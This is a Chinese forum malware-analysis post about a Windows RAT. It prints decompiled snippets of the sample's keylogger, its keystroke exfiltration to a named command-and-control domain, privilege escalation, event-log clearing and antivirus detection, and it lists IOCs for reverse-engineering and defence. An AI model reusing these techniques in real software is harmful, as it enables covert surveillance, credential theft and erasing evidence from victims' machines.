一例RAT木马分析
本帖最后由 XCarthGetlin 于 2020-7-24 18:02 编辑说在前面:这个分析是前段时间的货,在微步上发过一次,现在看有些信息已经过时了(如名字,一些杀软的查杀结果,恶意IP存储内容,感兴趣的朋友可以上IP看看,有些新的东西被放进去了)这次分享到这来,算是个新人的分析帖吧。
样本分析
在处理日常的任务中发现可疑IP:172.247.132.146,简单查看是一个保存文件的站点,只保存了shoves.exe文件:
https://ivoripuion.github.io/2020/07/18/%E4%B8%80%E4%BE%8BRAT%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/record1.PNG该文件疑似远控木马,现做简要分析。
沙箱分析
程序运行后该程序会不断地向域名为vip79318901.f3322.net的主机发送请求:
ApataDNS:
https://ivoripuion.github.io/2020/07/18/%E4%B8%80%E4%BE%8BRAT%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/record2.PNGinetsim:
https://ivoripuion.github.io/2020/07/18/%E4%B8%80%E4%BE%8BRAT%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/record3.PNG
存在修改注册表以自启动:https://ivoripuion.github.io/2020/07/18/%E4%B8%80%E4%BE%8BRAT%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/record4.PNG
修改读取镜像劫持相关的注册表:https://ivoripuion.github.io/2020/07/18/%E4%B8%80%E4%BE%8BRAT%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/record5.PNGhttps://ivoripuion.github.io/2020/07/18/%E4%B8%80%E4%BE%8BRAT%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/record6.PNG
不存在文件的写入操作,但存在大量的文件读操作用于导入函数:https://ivoripuion.github.io/2020/07/18/%E4%B8%80%E4%BE%8BRAT%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/record8.PNG
云沙箱分析结果:
https://s.threatbook.cn/report/file/10eeadc0c512fa8d52ee66f3d181f2ec9de65cba5c08559eea20b60d41867876/?sign=history&env=win7_sp1_enx64_office2013
PE文件分析
程序未加壳:https://ivoripuion.github.io/2020/07/18/%E4%B8%80%E4%BE%8BRAT%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/record9.PNG
恶意代码存在自定义的baidu段:
https://ivoripuion.github.io/2020/07/18/%E4%B8%80%E4%BE%8BRAT%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/record11.PNG内部使用了RC5/6算法进行加/解密:
https://ivoripuion.github.io/2020/07/18/%E4%B8%80%E4%BE%8BRAT%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/record10.PNG程序最开始使用GetStartupInfoA进行简单的反调试:
1
2
3
4
5
6
7
8
9
.text:00401F9A lea eax,
.text:00401F9D push eax ; lpStartupInfo
.text:00401F9E call ds:GetStartupInfoA
.text:00401FA4 call __wincmdln
.text:00401FA9 mov , eax
.text:00401FAC test byte ptr , 1
.text:00401FB0 jz short loc_401FB8
.text:00401FB2 movzx eax,
.text:00401FB6 jmp short loc_401FBB
对程序部分指令解密,相关操作存放在恶意代码自定义的baidu段中:
1
2
3
4
baidu:00410213 52 push edx
baidu:00410214 50 push eax
baidu:00410215 68 BC 60 41 00 push offset byte_4160BC
baidu:0041021A E8 91 FD FF FF call decrypt_40FFB0
解密是对0x4160BC开始的一段数据的操作,完成后内存从0x4160BC开始是一个DLL文件,该程序的主要攻击行为都在这个dll中:
https://ivoripuion.github.io/2020/07/18/%E4%B8%80%E4%BE%8BRAT%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/record12.PNGDLL文件仅有一个导出函数fuckyou:
https://ivoripuion.github.io/2020/07/18/%E4%B8%80%E4%BE%8BRAT%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/record14.PNG
DllMain分析
DllMain主要是一些初始化的操作:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
GetInputState();
cur_thread_id = GetCurrentThreadId();
PostThreadMessageA(cur_thread_id, 0, 0, 0);
GetMessageA(&Msg, 0, 0, 0); //
//
if ( dword_10011FBC ) // 通过检测当前进程的父进程是不是explorer来进行反调试
{
explorer_pid = get_explore_pid_100070B0();
cur_pro_id = GetCurrentProcessId();
if ( (explorer_pid == 0) == get_parent_process_pid_10007000(cur_pro_id) )
ExitProcess(0);
} //
//
VersionInformation.dwOSVersionInfoSize = 148;
GetVersionExA(&VersionInformation); //
//
if ( &dword_10011FCC != -2 )
create_thread_100080D0(0, 0, download_from_url_10006100, &dword_10011FCC + 2, 0, 0);// 开启一个线程下载文件
//
if ( dword_10011FC8 ) // kill run32dll.exe
kill_run32dll_10005CB0();
if ( !byte_10011FB8 ) // 注册服务相关
//
{
String = 0;
memset(&v25, 0, 0x3FCu);
v26 = 0;
v27 = 0;
Format = '%';
v12 = 's';
v13 = 0;
sprintf(ServiceName_10011CD4, &Format, ServiceName_10011CD4);
ServiceStartTable.lpServiceName = 'nnoC';
ServiceStartTable.lpServiceProc = 'Gtce';
v15 = 'puor';
LOBYTE(v16) = 0;
set_service_reg_10004D50(ServiceName_10011CD4, &ServiceStartTable, &String, 1024);// 注册服务:
// Rspgcu zcltpgnd
//
if ( !lstrlenA(&String) )
{
reg_service_10003050(ServiceName_10011CD4, a1521);
reg_set_10005D20(ServiceName_10011CD4);
}
v9 = init_COM_10006FB0();
wsprintfA(&String2, aS, v9);
if ( dword_10011FB4 )
{
memset(&Dst, 0, 0x104u);
GetModuleFileNameA(0, &Dst, 0x104u);
SHGetSpecialFolderPathA(0, &v18, 43, 0);
lstrcatA(&v18, asc_1001172C);
lstrcatA(&v18, &String2);
lstrcatA(&v18, aExe);
MoveFileA(&Dst, &v18);
}
else
{
memset(&Filename, 0, 0x104u);
GetModuleFileNameA(0, &Filename, 0x104u);
}
Sleep(0x32u);
v10 = create_thread_100080D0(0, 0, sub_100063D0, 0, 0, 0);
WaitForSingleObject(v10, 0xFFFFFFFF);
CloseHandle(v10);
while ( 1 )
Sleep(1000000u);
}
包括反调试,初始化服务,开启服务等操作。程序的主要攻击方法存放在attackfun_100063D0()中:
1.确保只有一个运行实例:
1
2
3
4
5
6
7
v0 = CreateMutexA(0, 0, &Name); // 确保只有一个运行实例
if ( v0 && GetLastError() == ERROR_ALREADY_EXISTS )
{
ReleaseMutex(v0);
CloseHandle(v0);
exit(0);
}
2.击键记录:
1
2
3
4
5
6
7
8
if ( dword_10011FC0 )
{
sub_10003AB0(v23, v8);
LOBYTE(v24) = 1;
input_record_10003AE0();
LOBYTE(v24) = 0;
sub_10003A60(v23);
}
1
2
3
4
int input_record_10003AE0()
{
return create_thread_100080D0(0, 0, key_logger_100026A0, 0, 0, 0);
}
3.使用GetKeyState, GetAsyncKeyState实现击键记录:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
v3 = GetKeyState(16);
v4 = *&byte_100113DC;
v5 = v3;
if ( ((GetAsyncKeyState(*&byte_100113DC) >> 8) & 0x80u) == 0 )
{
v6 = *(&v8 + v4);
if ( v6 )
{
*(&v8 + v4) = 0;
if ( v4 == 8 )
{
lstrcatA(&String, String2);
sub_10002450(&String);
}
else if ( lstrlenA(&String) <= 550 )
{
if ( v4 != 13 )
{
if ( v6 % 2 == 1 )
{
lstrcatA(&String, off_10011248);
}
else if ( !(v6 % 2) )
{
lstrcatA(&String, off_100110B4);
}
goto LABEL_35;
}
lstrcatA(&String, aEnter);
sub_10002450(&String);
}
else
{
sub_10002450(&String);
}
memset(&String, 0, 0x258u);
}
}
else if ( GetKeyState(20) && v5 > -1 && v4 > '@' && v4 < ']' )
{
*(&v8 + v4) = 1;
}
将击键记录的内容传输给url:vip79318901.f3322.net :
1
2
3
4
5
6
7
8
9
10
11
else
{
v1 = *&asc_10011BA4;
lstrcatA(&String1, aVip79318901F33);
}
if ( strcmp(&String1, byte_10013470) )
{
v3 = GetTickCount();
if ( connect_url_10001D00(v8, &String1, v1) )
break;
}
4.sub_10003AB0(v23, v8)通过检索函数表来调用switch_case_10003D30:
1
2
*v2 = &off_1000C30C;
v2 = 0
1
2
3
.rdata:1000C30C off_1000C30C dd offset sub_10003A40; DATA XREF: sub_100039F0+11↑o
.rdata:1000C30C ; sub_10003A60+C↑o ...
.rdata:1000C310 dd offset switch_case_10003D30
switch_case_10003D30函数通过判断不同的情况操作:
(1)提权:
1
2
case 0x70u:
v5 = create_thread_100080D0(0, 0, privilege_10002CE0, *(this + 72), 0, 0);
提权的关键函数通过OpenProcessToken得到进程的令牌句柄,使用LookupPrivilegeValue查询进程权限,最后用AdjustTokenPrivileges函数提升权限:
1
2
3
4
LookupPrivilegeValueA(0, Name, NewState.Privileges);
NewState.PrivilegeCount = 1;
NewState.Privileges.Attributes = 2;
AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0, 0, 0);
(2)删除日志:
1
2
case 4u:
delete_event_log_10002E20(a2);
删除日志函数通过OpenEventLog函数打开日志文件,如果成功打开,调用ClearEventLog函数清除日志文件,最后调用CloseEventLog函数关闭日志文件:
1
2
3
4
5
6
7
8
9
10
11
12
do
{
v3 = OpenEventLogA(0, *v2);
v4 = v3;
if ( v3 )
{
ClearEventLogA(v3, 0);
CloseEventLog(v4);
}
++v2;
result = v8-- - 1;
}
(3)弹出MessageBox:
1
2
3
case 0xAu:
v5 = create_thread_100080D0(0, 0, msgbox_10002DD0, (a2 + 1), 0, 0);
goto LABEL_22;
5.查询进程镜像以反杀毒软件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
memset(&v174, 0, 0x40u);
v1 = LoadLibraryA(aKernel32Dll_1);
creat_tool_help = GetProcAddress(v1, aCreatetoolhelp);
pro32_first = GetProcAddress(v1, aProcess32first);
pro32_next = GetProcAddress(v1, aProcess32next);
pro_list = (creat_tool_help)(2, 0);
if ( pro_list )
{
v175 = 296;
if ( !strstr(Str, SubStr) )
{
v4 = &Str;
do
{
if ( (pro32_first)(pro_list, &v175) )
{
v5 = *v4;
while ( lstrcmpiA(v5, &String2) )
{
if ( !(pro32_next)(pro_list, &v175) )
goto LABEL_10;
}
lstrcatA(lpString1, v4);
lstrcatA(lpString1, SubStr);
}
LABEL_10:
v6 = v4;
v4 += 2;
v175 = 296;
}
while ( !strstr(v6, SubStr) );
}
}
CloseHandle(pro_list);
result = lstrlenA(lpString1);
if ( !result )
result = lstrcpyA(lpString1, asc_100121B8);
if ( v1 )
result = FreeLibrary(v1);
return result;
查询的杀毒软件列表如下:https://ivoripuion.github.io/2020/07/18/%E4%B8%80%E4%BE%8BRAT%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/record15.PNGhttps://ivoripuion.github.io/2020/07/18/%E4%B8%80%E4%BE%8BRAT%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/record16.PNGhttps://ivoripuion.github.io/2020/07/18/%E4%B8%80%E4%BE%8BRAT%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/record17.PNGhttps://ivoripuion.github.io/2020/07/18/%E4%B8%80%E4%BE%8BRAT%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/record18.PNGhttps://ivoripuion.github.io/2020/07/18/%E4%B8%80%E4%BE%8BRAT%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/record19.PNGhttps://ivoripuion.github.io/2020/07/18/%E4%B8%80%E4%BE%8BRAT%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/record20.PNG
导出函数fuckyou
导出函数fuckyou的功能与DllMain基本一致,主要也是调用attackfun_100063D0来进行恶意行为以及一些保持服务常驻的操作:https://ivoripuion.github.io/2020/07/18/%E4%B8%80%E4%BE%8BRAT%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/record21.PNG
其他一些可疑操作
程序还存在写入文件到%SystemDirectory%\1521.key的操作,配合击键记录函数进行击键记录:
1
2
3
4
5
GetSystemDirectoryA(&Buffer, 0x104u);
strcat(&Buffer, asc_1001172C);
strcat(&Buffer, a1521);
strcat(&Buffer, aKey);
v1 = CreateFileA(&Buffer, 0x40000000u, 2u, 0, 4u, 0x80u, 0);
但是在沙箱运行中并为发现文件的写入操作。
总结
该程序是RAT木马,具有提权,击键记录,删除日志,反杀毒软件等功能,可用于建立僵尸网络,发送垃圾邮箱来进行APT攻击。截至分析完毕(2020-07-18)该程序在一些主流的杀毒软件测试中均未报毒,具有很强的威胁性:
相关IOC
listvalue
MD5ae318e417963fbaec1c0664b9162b63d
SHA-1965b9b5be709e95950fd10ab1614edf3ab1ae70d
SHA-25610eeadc0c512fa8d52ee66f3d181f2ec9de65cba5c08559eea20b60d41867876
Vhash04505666151d15104012z180055mz6gz
Authentihash058ca13631c7f65271190aaad5b67bc259d18c0b71d4fc368820b150facc655f
Imphash926997c7dd52b150779d1291ece24039
SSDEEP3072:3abe6nVEb7Mt+e74m3mOsr5PrQ+EGCZs+RbjySnKv:3yeH/e7hAr5DQ+yZvqSK
File typeWin32 EXE
MagicPE32 executable for MS Windows (GUI) Intel 80386 32-bit
File size428.00 KB (438272 bytes)
PEiD packerMicrosoft Visual C++
后话
由于个人能力有限,OD调试时候有几个异常过不去,有感兴趣的大佬可以自己调了玩一玩。 超牛逼 虽然我没看懂{:301_1008:} 哎呀吾爱自带的编辑器不太会整,我自己修正修正 {:300_969:}看不懂啊看懂啊 hfs提权反杀啊!{:1_886:} 认真学习,不断提升。 {:1_893:}在下新人,正在学习当中,感谢大佬的分析 借鉴一下 好马 不过已经废了 楼主专业~~~